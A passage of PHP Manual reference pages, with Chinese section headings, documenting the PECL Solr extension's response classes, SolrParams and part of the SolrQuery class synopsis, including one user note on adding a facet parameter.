User Contributed Notes

There are no user contributed notes for this page.


Returns more details on the HTTP status

  • ? SolrResponse::getHttpStatus
  • SolrResponse::getRawRequest ?
  • PHP Manual
  • SolrResponse
  • Returns more details on the HTTP status

SolrResponse::getHttpStatusMessage

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatusMessage — Returns more details on the HTTP status

说明

public SolrResponse::getHttpStatusMessage(): string

Returns more details on the HTTP status.

参数

此函数没有参数。

返回值

Returns more details on the HTTP status

User Contributed Notes

There are no user contributed notes for this page.


Returns the raw request sent to the Solr server

  • ? SolrResponse::getHttpStatusMessage
  • SolrResponse::getRawRequestHeaders ?
  • PHP Manual
  • SolrResponse
  • Returns the raw request sent to the Solr server

SolrResponse::getRawRequest

(PECL solr >= 0.9.2)

SolrResponse::getRawRequest — Returns the raw request sent to the Solr server

说明

public SolrResponse::getRawRequest(): string

Returns the raw request sent to the Solr server.

参数

此函数没有参数。

返回值

Returns the raw request sent to the Solr server

User Contributed Notes

There are no user contributed notes for this page.


Returns the raw request headers sent to the Solr server

  • ? SolrResponse::getRawRequest
  • SolrResponse::getRawResponse ?
  • PHP Manual
  • SolrResponse
  • Returns the raw request headers sent to the Solr server

SolrResponse::getRawRequestHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawRequestHeaders — Returns the raw request headers sent to the Solr server

说明

public SolrResponse::getRawRequestHeaders(): string

Returns the raw request headers sent to the Solr server.

参数

此函数没有参数。

返回值

Returns the raw request headers sent to the Solr server

User Contributed Notes

There are no user contributed notes for this page.


Returns the raw response from the server

  • ? SolrResponse::getRawRequestHeaders
  • SolrResponse::getRawResponseHeaders ?
  • PHP Manual
  • SolrResponse
  • Returns the raw response from the server

SolrResponse::getRawResponse

(PECL solr >= 0.9.2)

SolrResponse::getRawResponse — Returns the raw response from the server

说明

public SolrResponse::getRawResponse(): string

Returns the raw response from the server.

参数

此函数没有参数。

返回值

Returns the raw response from the server.

User Contributed Notes

There are no user contributed notes for this page.


Returns the raw response headers from the server

  • ? SolrResponse::getRawResponse
  • SolrResponse::getRequestUrl ?
  • PHP Manual
  • SolrResponse
  • Returns the raw response headers from the server

SolrResponse::getRawResponseHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawResponseHeaders — Returns the raw response headers from the server

说明

public SolrResponse::getRawResponseHeaders(): string

Returns the raw response headers from the server.

参数

此函数没有参数。

返回值

Returns the raw response headers from the server.

User Contributed Notes

There are no user contributed notes for this page.


Returns the full URL the request was sent to

  • ? SolrResponse::getRawResponseHeaders
  • SolrResponse::getResponse ?
  • PHP Manual
  • SolrResponse
  • Returns the full URL the request was sent to

SolrResponse::getRequestUrl

(PECL solr >= 0.9.2)

SolrResponse::getRequestUrl — Returns the full URL the request was sent to

说明

public SolrResponse::getRequestUrl(): string

Returns the full URL the request was sent to.

参数

此函数没有参数。

返回值

Returns the full URL the request was sent to

User Contributed Notes

There are no user contributed notes for this page.


Returns a SolrObject representing the XML response from the server

  • ? SolrResponse::getRequestUrl
  • SolrResponse::setParseMode ?
  • PHP Manual
  • SolrResponse
  • Returns a SolrObject representing the XML response from the server

SolrResponse::getResponse

(PECL solr >= 0.9.2)

SolrResponse::getResponse — Returns a SolrObject representing the XML response from the server

说明

public SolrResponse::getResponse(): SolrObject

Returns a SolrObject representing the XML response from the server.

参数

此函数没有参数。

返回值

Returns a SolrObject representing the XML response from the server

User Contributed Notes

There are no user contributed notes for this page.


Sets the parse mode

  • ? SolrResponse::getResponse
  • SolrResponse::success ?
  • PHP Manual
  • SolrResponse
  • Sets the parse mode

SolrResponse::setParseMode

(PECL solr >= 0.9.2)

SolrResponse::setParseMode — Sets the parse mode

说明

public SolrResponse::setParseMode(int $parser_mode = 0): bool

Sets the parse mode.

参数

parser_mode

SolrResponse::PARSE_SOLR_DOC parses documents in SolrDocument instances. SolrResponse::PARSE_SOLR_OBJ parses document into SolrObjects.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Was the request a success

  • ? SolrResponse::setParseMode
  • SolrQueryResponse ?
  • PHP Manual
  • SolrResponse
  • Was the request a success

SolrResponse::success

(PECL solr >= 0.9.2)

SolrResponse::success — Was the request a success

说明

public SolrResponse::success(): bool

Used to check if the request to the server was successful.

参数

此函数没有参数。

返回值

Returns true if it was successful and false if it was not.

User Contributed Notes

There are no user contributed notes for this page.


The SolrQueryResponse class

(PECL solr >= 0.9.2)

简介

Represents a response to a query request.

类摘要

final class SolrQueryResponse extends SolrResponse {
/* 常量 */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* 继承的属性 */
const int SolrResponse::PARSE_SOLR_OBJ = 0;
const int SolrResponse::PARSE_SOLR_DOC = 1;
protected int $http_status;
protected int $parser_mode;
protected bool $success;
protected string $http_status_message;
protected string $http_request_url;
protected string $http_raw_request_headers;
protected string $http_raw_request;
protected string $http_raw_response_headers;
protected string $http_raw_response;
protected string $http_digested_response;
/* 方法 */
public __construct()
public __destruct()
/* 继承的方法 */
public SolrResponse::getDigestedResponse(): string
public SolrResponse::getHttpStatus(): int
public SolrResponse::getHttpStatusMessage(): string
public SolrResponse::getRawRequest(): string
public SolrResponse::getRawRequestHeaders(): string
public SolrResponse::getRawResponse(): string
public SolrResponse::getRawResponseHeaders(): string
public SolrResponse::getRequestUrl(): string
public SolrResponse::getResponse(): SolrObject
public SolrResponse::setParseMode(int $parser_mode = 0): bool
public SolrResponse::success(): bool
}

预定义常量

SolrQueryResponse Class constants

SolrQueryResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrQueryResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrQueryResponse::__construct — Constructor
  • SolrQueryResponse::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrQueryResponse
  • SolrQueryResponse::__destruct ?
  • PHP Manual
  • SolrQueryResponse
  • Constructor

SolrQueryResponse::__construct

(PECL solr >= 0.9.2)

SolrQueryResponse::__construct — Constructor

说明

public SolrQueryResponse::__construct()

Constructor

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrQueryResponse::__construct
  • SolrUpdateResponse ?
  • PHP Manual
  • SolrQueryResponse
  • Destructor

SolrQueryResponse::__destruct

(PECL solr >= 0.9.2)

SolrQueryResponse::__destruct — Destructor

说明

public SolrQueryResponse::__destruct()

Destructor.

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrUpdateResponse class

(PECL solr >= 0.9.2)

简介

Represents a response to an update request.

类摘要

final class SolrUpdateResponse extends SolrResponse {
/* 常量 */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* 继承的属性 */
const int SolrResponse::PARSE_SOLR_OBJ = 0;
const int SolrResponse::PARSE_SOLR_DOC = 1;
protected int $http_status;
protected int $parser_mode;
protected bool $success;
protected string $http_status_message;
protected string $http_request_url;
protected string $http_raw_request_headers;
protected string $http_raw_request;
protected string $http_raw_response_headers;
protected string $http_raw_response;
protected string $http_digested_response;
/* 方法 */
public __construct()
public __destruct()
/* 继承的方法 */
public SolrResponse::getDigestedResponse(): string
public SolrResponse::getHttpStatus(): int
public SolrResponse::getHttpStatusMessage(): string
public SolrResponse::getRawRequest(): string
public SolrResponse::getRawRequestHeaders(): string
public SolrResponse::getRawResponse(): string
public SolrResponse::getRawResponseHeaders(): string
public SolrResponse::getRequestUrl(): string
public SolrResponse::getResponse(): SolrObject
public SolrResponse::setParseMode(int $parser_mode = 0): bool
public SolrResponse::success(): bool
}

预定义常量

SolrUpdateResponse Class Constants

SolrUpdateResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrUpdateResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrUpdateResponse::__construct — Constructor
  • SolrUpdateResponse::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrUpdateResponse
  • SolrUpdateResponse::__destruct ?
  • PHP Manual
  • SolrUpdateResponse
  • Constructor

SolrUpdateResponse::__construct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__construct — Constructor

说明

public SolrUpdateResponse::__construct()

Constructor

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrUpdateResponse::__construct
  • SolrPingResponse ?
  • PHP Manual
  • SolrUpdateResponse
  • Destructor

SolrUpdateResponse::__destruct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__destruct — Destructor

说明

public SolrUpdateResponse::__destruct()

Destructor

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrPingResponse class

(PECL solr >= 0.9.2)

简介

Represents a response to a ping request to the server

类摘要

final class SolrPingResponse extends SolrResponse {
/* 常量 */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* 属性 */
/* 方法 */
public __construct()
public getResponse(): string
public __destruct()
/* 继承的方法 */
public SolrResponse::getDigestedResponse(): string
public SolrResponse::getHttpStatus(): int
public SolrResponse::getHttpStatusMessage(): string
public SolrResponse::getRawRequest(): string
public SolrResponse::getRawRequestHeaders(): string
public SolrResponse::getRawResponse(): string
public SolrResponse::getRawResponseHeaders(): string
public SolrResponse::getRequestUrl(): string
public SolrResponse::getResponse(): SolrObject
public SolrResponse::setParseMode(int $parser_mode = 0): bool
public SolrResponse::success(): bool
}

属性

http_status

The http status of the response.

parser_mode

Whether to parse the solr documents as SolrObject or SolrDocument instances.

success

Was there an error during the request

http_status_message

Detailed message on http status

http_request_url

The request URL

http_raw_request_headers

A string of raw headers sent during the request

http_raw_request

The raw request sent to the server

http_raw_response_headers

Response headers from the Solr server

http_raw_response

The response message from the server

http_digested_response

The response in PHP serialized format.

预定义常量

SolrPingResponse Class Constants

SolrPingResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrPingResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrPingResponse::__construct — Constructor
  • SolrPingResponse::__destruct — Destructor
  • SolrPingResponse::getResponse — Returns the response from the server

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrPingResponse
  • SolrPingResponse::__destruct ?
  • PHP Manual
  • SolrPingResponse
  • Constructor

SolrPingResponse::__construct

(PECL solr >= 0.9.2)

SolrPingResponse::__construct — Constructor

说明

public SolrPingResponse::__construct()

Constructor

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrPingResponse::__construct
  • SolrPingResponse::getResponse ?
  • PHP Manual
  • SolrPingResponse
  • Destructor

SolrPingResponse::__destruct

(PECL solr >= 0.9.2)

SolrPingResponse::__destruct — Destructor

说明

public SolrPingResponse::__destruct()

Destructor

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


Returns the response from the server

  • ? SolrPingResponse::__destruct
  • SolrGenericResponse ?
  • PHP Manual
  • SolrPingResponse
  • Returns the response from the server

SolrPingResponse::getResponse

(PECL solr >= 0.9.2)

SolrPingResponse::getResponse — Returns the response from the server

说明

public SolrPingResponse::getResponse(): string

Returns the response from the server. This should be empty because the request as a HEAD request.

参数

此函数没有参数。

返回值

Returns an empty string.

User Contributed Notes

There are no user contributed notes for this page.


The SolrGenericResponse class

(PECL solr >= 0.9.2)

简介

Represents a response from the solr server.

类摘要

final class SolrGenericResponse extends SolrResponse {
/* 常量 */
const int PARSE_SOLR_OBJ = 0;
const int PARSE_SOLR_DOC = 1;
/* 继承的属性 */
const int SolrResponse::PARSE_SOLR_OBJ = 0;
const int SolrResponse::PARSE_SOLR_DOC = 1;
protected int $http_status;
protected int $parser_mode;
protected bool $success;
protected string $http_status_message;
protected string $http_request_url;
protected string $http_raw_request_headers;
protected string $http_raw_request;
protected string $http_raw_response_headers;
protected string $http_raw_response;
protected string $http_digested_response;
/* 方法 */
public __construct()
public __destruct()
/* 继承的方法 */
public SolrResponse::getDigestedResponse(): string
public SolrResponse::getHttpStatus(): int
public SolrResponse::getHttpStatusMessage(): string
public SolrResponse::getRawRequest(): string
public SolrResponse::getRawRequestHeaders(): string
public SolrResponse::getRawResponse(): string
public SolrResponse::getRawResponseHeaders(): string
public SolrResponse::getRequestUrl(): string
public SolrResponse::getResponse(): SolrObject
public SolrResponse::setParseMode(int $parser_mode = 0): bool
public SolrResponse::success(): bool
}

预定义常量

SolrGenericResponse Class constants

SolrGenericResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrGenericResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrGenericResponse::__construct — Constructor
  • SolrGenericResponse::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrGenericResponse
  • SolrGenericResponse::__destruct ?
  • PHP Manual
  • SolrGenericResponse
  • Constructor

SolrGenericResponse::__construct

(PECL solr >= 0.9.2)

SolrGenericResponse::__construct — Constructor

说明

public SolrGenericResponse::__construct()

Constructor

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrGenericResponse::__construct
  • SolrParams ?
  • PHP Manual
  • SolrGenericResponse
  • Destructor

SolrGenericResponse::__destruct

(PECL solr >= 0.9.2)

SolrGenericResponse::__destruct — Destructor

说明

public SolrGenericResponse::__destruct()

Destructor.

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrParams class

(PECL solr >= 0.9.2)

简介

Represents a collection of name-value pairs sent to the Solr server during a request.

类摘要

abstract class SolrParams implements Serializable {
/* 方法 */
final public add(string $name, string $value): SolrParams
public addParam(string $name, string $value): SolrParams
final public get(string $param_name): mixed
final public getParam(string $param_name = ?): mixed
final public getParams(): array
final public getPreparedParams(): array
final public serialize(): string
final public set(string $name, string $value): void
public setParam(string $name, string $value): SolrParams
final public toString(bool $url_encode = false): string
final public unserialize(string $serialized): void
}

Table of Contents

  • SolrParams::add — 别名 SolrParams::addParam
  • SolrParams::addParam — Adds a parameter to the object
  • SolrParams::get — 别名 SolrParams::getParam
  • SolrParams::getParam — Returns a parameter value
  • SolrParams::getParams — Returns an array of non URL-encoded parameters
  • SolrParams::getPreparedParams — Returns an array of URL-encoded parameters
  • SolrParams::serialize — Used for custom serialization
  • SolrParams::set — 别名 SolrParams::setParam
  • SolrParams::setParam — Sets the parameter to the specified value
  • SolrParams::toString — Returns all the name-value pair parameters in the object
  • SolrParams::unserialize — Used for custom serialization

User Contributed Notes

There are no user contributed notes for this page.


别名 SolrParams::addParam

  • ? SolrParams
  • SolrParams::addParam ?
  • PHP Manual
  • SolrParams
  • 别名 SolrParams::addParam

SolrParams::add

(PECL solr >= 0.9.2)

SolrParams::add — 别名 SolrParams::addParam()

说明

final public SolrParams::add(string $name, string $value): SolrParams

This is an alias for SolrParams::addParam

参数

name

The name of the parameter

value

The value of the parameter

返回值

Returns a SolrParams instance on success

User Contributed Notes

There are no user contributed notes for this page.


Adds a parameter to the object

  • ? SolrParams::add
  • SolrParams::get ?
  • PHP Manual
  • SolrParams
  • Adds a parameter to the object

SolrParams::addParam

(PECL solr >= 0.9.2)

SolrParams::addParam — Adds a parameter to the object

说明

public SolrParams::addParam(string $name, string $value): SolrParams

Adds a parameter to the object. This is used for parameters that can be specified multiple times.

参数

name

Name of parameter

value

Value of parameter

返回值

Returns a SolrParam object on success and false on failure.

User Contributed Notes

horaciod at gmail dot com 11-Apr-2023 11:02
great for adding unintended parameters in other functions like facet.contains

?php
$facet = 'title'  ;
$str='isto';
$query = new SolrQuery($filter);
$query->setFacet(true)->setShowDebugInfo(true);

$query->addFacetField($facet)->setFacetMinCount(1)->setFacetLimit(200)->setfacetsort(SolrQuery::TERMS_SORT_INDEX);

$query->addparam('facet.contains',$str) ;

 ?>
// result of $query->getparams()  //check the lastone
array(8) {
  ["q"]=>  array(1) {
    [0]=>    string(20) "collection_id_str:61"
  }
  ["facet"]=>  array(1) {
    [0]=>    string(4) "true"
  }
  ["debugQuery"]=>  array(1) {
    [0]=>    string(4) "true"
  }
  ["facet.field"]=>  array(1) {
    [0]=>    string(11) "440a_str_mv"
  }
  ["facet.mincount"]=>  array(1) {
    [0]=>    string(1) "1"
  }
  ["facet.limit"]=>  array(1) {
    [0]=>    string(3) "200"
  }
  ["facet.sort"]=>  array(1) {
    [0]=>    string(5) "index"
  }
  ["facet.contains"]=>  array(1) {
    [0]=>    string(4) "isto"
  }
}


别名 SolrParams::getParam

  • ? SolrParams::addParam
  • SolrParams::getParam ?
  • PHP Manual
  • SolrParams
  • 别名 SolrParams::getParam

SolrParams::get

(PECL solr >= 0.9.2)

SolrParams::get — 别名 SolrParams::getParam()

说明

final public SolrParams::get(string $param_name): mixed

This is an alias for SolrParams::getParam

参数

param_name

Then name of the parameter

返回值

Returns an array or string depending on the type of parameter

User Contributed Notes

There are no user contributed notes for this page.


Returns a parameter value

  • ? SolrParams::get
  • SolrParams::getParams ?
  • PHP Manual
  • SolrParams
  • Returns a parameter value

SolrParams::getParam

(PECL solr >= 0.9.2)

SolrParams::getParam — Returns a parameter value

说明

final public SolrParams::getParam(string $param_name = ?): mixed

Returns a parameter with name param_name

参数

param_name

The name of the parameter

返回值

Returns a string or an array depending on the type of the parameter

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of non URL-encoded parameters

  • ? SolrParams::getParam
  • SolrParams::getPreparedParams ?
  • PHP Manual
  • SolrParams
  • Returns an array of non URL-encoded parameters

SolrParams::getParams

(PECL solr >= 0.9.2)

SolrParams::getParams — Returns an array of non URL-encoded parameters

说明

final public SolrParams::getParams(): array

Returns an array of non URL-encoded parameters

参数

此函数没有参数。

返回值

Returns an array of non URL-encoded parameters

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of URL-encoded parameters

  • ? SolrParams::getParams
  • SolrParams::serialize ?
  • PHP Manual
  • SolrParams
  • Returns an array of URL-encoded parameters

SolrParams::getPreparedParams

(PECL solr >= 0.9.2)

SolrParams::getPreparedParams — Returns an array of URL-encoded parameters

说明

final public SolrParams::getPreparedParams(): array

Returns an array on URL-encoded parameters

参数

此函数没有参数。

返回值

Returns an array on URL-encoded parameters

User Contributed Notes

There are no user contributed notes for this page.


Used for custom serialization

  • ? SolrParams::getPreparedParams
  • SolrParams::set ?
  • PHP Manual
  • SolrParams
  • Used for custom serialization

SolrParams::serialize

(PECL solr >= 0.9.2)

SolrParams::serialize — Used for custom serialization

说明

final public SolrParams::serialize(): string

Used for custom serialization

参数

此函数没有参数。

返回值

Used for custom serialization

User Contributed Notes

There are no user contributed notes for this page.


别名 SolrParams::setParam

  • ? SolrParams::serialize
  • SolrParams::setParam ?
  • PHP Manual
  • SolrParams
  • 别名 SolrParams::setParam

SolrParams::set

(PECL solr >= 0.9.2)

SolrParams::set — 别名 SolrParams::setParam()

说明

final public SolrParams::set(string $name, string $value): void

An alias of SolrParams::setParam

参数

name

Then name of the parameter

value

The parameter value

返回值

Returns an instance of the SolrParams object on success

User Contributed Notes

There are no user contributed notes for this page.


Sets the parameter to the specified value

  • ? SolrParams::set
  • SolrParams::toString ?
  • PHP Manual
  • SolrParams
  • Sets the parameter to the specified value

SolrParams::setParam

(PECL solr >= 0.9.2)

SolrParams::setParam — Sets the parameter to the specified value

说明

public SolrParams::setParam(string $name, string $value): SolrParams

Sets the query parameter to the specified value. This is used for parameters that can only be specified once. Subsequent calls with the same parameter name will override the existing value

参数

name

Name of the parameter

value

Value of the parameter

返回值

Returns a SolrParam object on success and false on value.

示例

Example #1 SolrParams::setParam() example

<?php

$param = new SolrParams();

$param->setParam('q', 'solr')->setParam('rows', 2);

?>

以上示例的输出类似于：

User Contributed Notes

There are no user contributed notes for this page.


Returns all the name-value pair parameters in the object

  • ? SolrParams::setParam
  • SolrParams::unserialize ?
  • PHP Manual
  • SolrParams
  • Returns all the name-value pair parameters in the object

SolrParams::toString

(PECL solr >= 0.9.2)

SolrParams::toString — Returns all the name-value pair parameters in the object

说明

final public SolrParams::toString(bool $url_encode = false): string

Returns all the name-value pair parameters in the object

参数

url_encode

Whether to return URL-encoded values

返回值

Returns a string on success and false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Used for custom serialization

  • ? SolrParams::toString
  • SolrModifiableParams ?
  • PHP Manual
  • SolrParams
  • Used for custom serialization

SolrParams::unserialize

(PECL solr >= 0.9.2)

SolrParams::unserialize — Used for custom serialization

说明

final public SolrParams::unserialize(string $serialized): void

Used for custom serialization

参数

serialized

The serialized representation of the object

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrModifiableParams class

(PECL solr >= 0.9.2)

简介

Represents a collection of name-value pairs sent to the Solr server during a request.

类摘要

class SolrModifiableParams extends SolrParams implements Serializable {
/* 方法 */
public __construct()
public __destruct()
/* 继承的方法 */
final public SolrParams::add(string $name, string $value): SolrParams
public SolrParams::addParam(string $name, string $value): SolrParams
final public SolrParams::get(string $param_name): mixed
final public SolrParams::getParam(string $param_name = ?): mixed
final public SolrParams::getParams(): array
final public SolrParams::getPreparedParams(): array
final public SolrParams::serialize(): string
final public SolrParams::set(string $name, string $value): void
public SolrParams::setParam(string $name, string $value): SolrParams
final public SolrParams::toString(bool $url_encode = false): string
final public SolrParams::unserialize(string $serialized): void
}

Table of Contents

  • SolrModifiableParams::__construct — Constructor
  • SolrModifiableParams::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? SolrModifiableParams
  • SolrModifiableParams::__destruct ?
  • PHP Manual
  • SolrModifiableParams
  • Constructor

SolrModifiableParams::__construct

(PECL solr >= 0.9.2)

SolrModifiableParams::__construct — Constructor

说明

public SolrModifiableParams::__construct()

Constructor

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • ? SolrModifiableParams::__construct
  • SolrQuery ?
  • PHP Manual
  • SolrModifiableParams
  • Destructor

SolrModifiableParams::__destruct

(PECL solr >= 0.9.2)

SolrModifiableParams::__destruct — Destructor

说明

public SolrModifiableParams::__destruct()

Destructor

参数

此函数没有参数。

返回值

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrQuery class

(PECL solr >= 0.9.2)

简介

Represents a collection of name-value pairs sent to the Solr server during a request.

类摘要

class SolrQuery extends SolrModifiableParams implements Serializable {
/* 常量 */
const int ORDER_ASC = 0;
const int ORDER_DESC = 1;
const int FACET_SORT_INDEX = 0;
const int FACET_SORT_COUNT = 1;
const int TERMS_SORT_INDEX = 0;
const int TERMS_SORT_COUNT = 1;
/* 属性 */
/* 方法 */
public __construct(string $q = ?)
public addExpandFilterQuery(string $fq): SolrQuery
public addExpandSortField(string $field, string $order = ?): SolrQuery
public addFacetDateField(string $dateField): SolrQuery
public addFacetDateOther(string $value, string $field_override = ?): SolrQuery
public addFacetField(string $field): SolrQuery
public addFacetQuery(string $facetQuery): SolrQuery
public addField(string $field): SolrQuery
public addFilterQuery(string $fq): SolrQuery
public addGroupField(string $value): SolrQuery
public addGroupFunction(string $value): SolrQuery
public addGroupQuery(string $value): SolrQuery
public addGroupSortField(string $field, int $order = ?): SolrQuery
public addHighlightField(string $field): SolrQuery
public addMltField(string $field): SolrQuery
public addMltQueryField(string $field, float $boost): SolrQuery
public addSortField(string $field, int $order = SolrQuery::ORDER_DESC): SolrQuery
public addStatsFacet(string $field): SolrQuery
public addStatsField(string $field): SolrQuery
public collapse(SolrCollapseFunction $collapseFunction): SolrQuery
public getExpand(): bool
public getExpandFilterQueries(): array
public getExpandQuery(): array
public getExpandRows(): int
public getExpandSortFields(): array
public getFacet(): bool
public getFacetDateEnd(string $field_override = ?): string
public getFacetDateFields(): array
public getFacetDateGap(string $field_override = ?): string
public getFacetDateHardEnd(string $field_override = ?): string
public getFacetDateOther(string $field_override = ?): array
public getFacetDateStart(string $field_override = ?): string
public getFacetFields(): array
public getFacetLimit(string $field_override = ?): int
public getFacetMethod(string $field_override = ?): string
public getFacetMinCount(string $field_override = ?): int
public getFacetMissing(string $field_override = ?): bool
public getFacetOffset(string $field_override = ?): int
public getFacetPrefix(string $field_override = ?): string
public getFacetQueries(): array
public getFacetSort(string $field_override = ?): int
public getFields(): array
public getFilterQueries(): array
public getGroup(): bool
public getGroupCachePercent(): int
public getGroupFacet(): bool
public getGroupFields(): array
public getGroupFormat(): string
public getGroupFunctions(): array
public getGroupLimit(): int
public getGroupMain(): bool
public getGroupNGroups(): bool
public getGroupOffset(): int
public getGroupQueries(): array
public getGroupSortFields(): array
public getGroupTruncate(): bool
public getHighlight(): bool
public getHighlightAlternateField(string $field_override = ?): string
public getHighlightFields(): array
public getHighlightFormatter(string $field_override = ?): string
public getHighlightFragmenter(string $field_override = ?): string
public getHighlightFragsize(string $field_override = ?): int
public getHighlightHighlightMultiTerm(): bool
public getHighlightMaxAlternateFieldLength(string $field_override = ?): int
public getHighlightMaxAnalyzedChars(): int
public getHighlightMergeContiguous(string $field_override = ?): bool
public getHighlightRegexMaxAnalyzedChars(): int
public getHighlightRegexPattern(): string
public getHighlightRegexSlop(): float
public getHighlightRequireFieldMatch(): bool
public getHighlightSimplePost(string $field_override = ?): string
public getHighlightSimplePre(string $field_override = ?): string
public getHighlightSnippets(string $field_override = ?): int
public getHighlightUsePhraseHighlighter(): bool
public getMlt(): bool
public getMltBoost(): bool
public getMltCount(): int
public getMltFields(): array
public getMltMaxNumQueryTerms(): int
public getMltMaxNumTokens(): int
public getMltMaxWordLength(): int
public getMltMinDocFrequency(): int
public getMltMinTermFrequency(): int
public getMltMinWordLength(): int
public getMltQueryFields(): array
public getQuery(): string
public getRows(): int
public getSortFields(): array
public getStart(): int
public getStats(): bool
public getStatsFacets(): array
public getStatsFields(): array
public getTerms(): bool
public getTermsField(): string
public getTermsIncludeLowerBound(): bool
public getTermsIncludeUpperBound(): bool
public getTermsLimit(): int
public getTermsLowerBound(): string
public getTermsMaxCount(): int
public getTermsMinCount(): int
public getTermsPrefix(): string
public getTermsReturnRaw(): bool
public getTermsSort(): int
public getTermsUpperBound(): string
public getTimeAllowed(): int
public removeExpandFilterQuery(string $fq): SolrQuery
public removeExpandSortField(string $field): SolrQuery
public removeFacetDateField(string $field): SolrQuery
public removeFacetDateOther(string $value, string $field_override = ?): SolrQuery
public removeFacetField(string $field): SolrQuery
public removeFacetQuery(string $value): SolrQuery
public removeField(string $field): SolrQuery
public removeFilterQuery(string $fq): SolrQuery
public removeHighlightField(string $field): SolrQuery
public removeMltField(string $field): SolrQuery
public removeMltQueryField(string $queryField): SolrQuery
public removeSortField(string $field): SolrQuery
public removeStatsFacet(string $value): SolrQuery
public removeStatsField(string $field): SolrQuery
public setEchoHandler(bool $flag): SolrQuery
public setEchoParams(string $type): SolrQuery
public setExpand(bool $value): SolrQuery
public setExpandQuery(string $q): SolrQuery
public setExpandRows(int $value): SolrQuery
public setExplainOther(string $query): SolrQuery
public setFacet(bool $flag): SolrQuery
public setFacetDateEnd(string $value, string $field_override = ?): SolrQuery
public setFacetDateGap(string $value, string $field_override = ?): SolrQuery
public setFacetDateHardEnd(bool $value, string $field_override = ?): SolrQuery
public setFacetDateStart(string $value, string $field_override = ?): SolrQuery
public setFacetEnumCacheMinDefaultFrequency(int $frequency, string $field_override = ?): SolrQuery
public setFacetLimit(int $limit, string $field_override = ?): SolrQuery
public setFacetMethod(string $method, string $field_override = ?): SolrQuery
public setFacetMinCount(int $mincount, string $field_override = ?): SolrQuery
public setFacetMissing(bool $flag, string $field_override = ?): SolrQuery
public setFacetOffset(int $offset, string $field_override = ?): SolrQuery
public setFacetPrefix(string $prefix, string $field_override = ?): SolrQuery
public setFacetSort(int $facetSort, string $field_override = ?): SolrQuery
public setGroup(bool $value): SolrQuery
public setGroupCachePercent(int $percent): SolrQuery
public setGroupFacet(bool $value): SolrQuery
public setGroupFormat(string $value): SolrQuery
public setGroupLimit(int $value): SolrQuery
public setGroupMain(string $value): SolrQuery
public setGroupNGroups(bool $value): SolrQuery
public setGroupOffset(int $value): SolrQuery
public setGroupTruncate(bool $value): SolrQuery
public setHighlight(bool $flag): SolrQuery
public setHighlightAlternateField(string $field, string $field_override = ?): SolrQuery
public setHighlightFormatter(string $formatter, string $field_override = ?): SolrQuery
public setHighlightFragmenter(string $fragmenter, string $field_override = ?): SolrQuery
public setHighlightFragsize(int $size, string $field_override = ?): SolrQuery
public setHighlightHighlightMultiTerm(bool $flag): SolrQuery
public setHighlightMaxAlternateFieldLength(int $fieldLength, string $field_override = ?): SolrQuery
public setHighlightMaxAnalyzedChars(int $value): SolrQuery
public setHighlightMergeContiguous(bool $flag, string $field_override = ?): SolrQuery
public setHighlightRegexMaxAnalyzedChars(int $maxAnalyzedChars): SolrQuery
public setHighlightRegexPattern(string $value): SolrQuery
public setHighlightRegexSlop(float $factor): SolrQuery
public setHighlightRequireFieldMatch(bool $flag): SolrQuery
public setHighlightSimplePost(string $simplePost, string $field_override = ?): SolrQuery
public setHighlightSimplePre(string $simplePre, string $field_override = ?): SolrQuery
public setHighlightSnippets(int $value, string $field_override = ?): SolrQuery
public setHighlightUsePhraseHighlighter(bool $flag): SolrQuery
public setMlt(bool $flag): SolrQuery
public setMltBoost(bool $flag): SolrQuery
public setMltCount(int $count): SolrQuery
public setMltMaxNumQueryTerms(int $value): SolrQuery
public setMltMaxNumTokens(int $value): SolrQuery
public setMltMaxWordLength(int $maxWordLength): SolrQuery
public setMltMinDocFrequency(int $minDocFrequency): SolrQuery
public setMltMinTermFrequency(int $minTermFrequency): SolrQuery
public setMltMinWordLength(int $minWordLength): SolrQuery
public setOmitHeader(bool $flag): SolrQuery
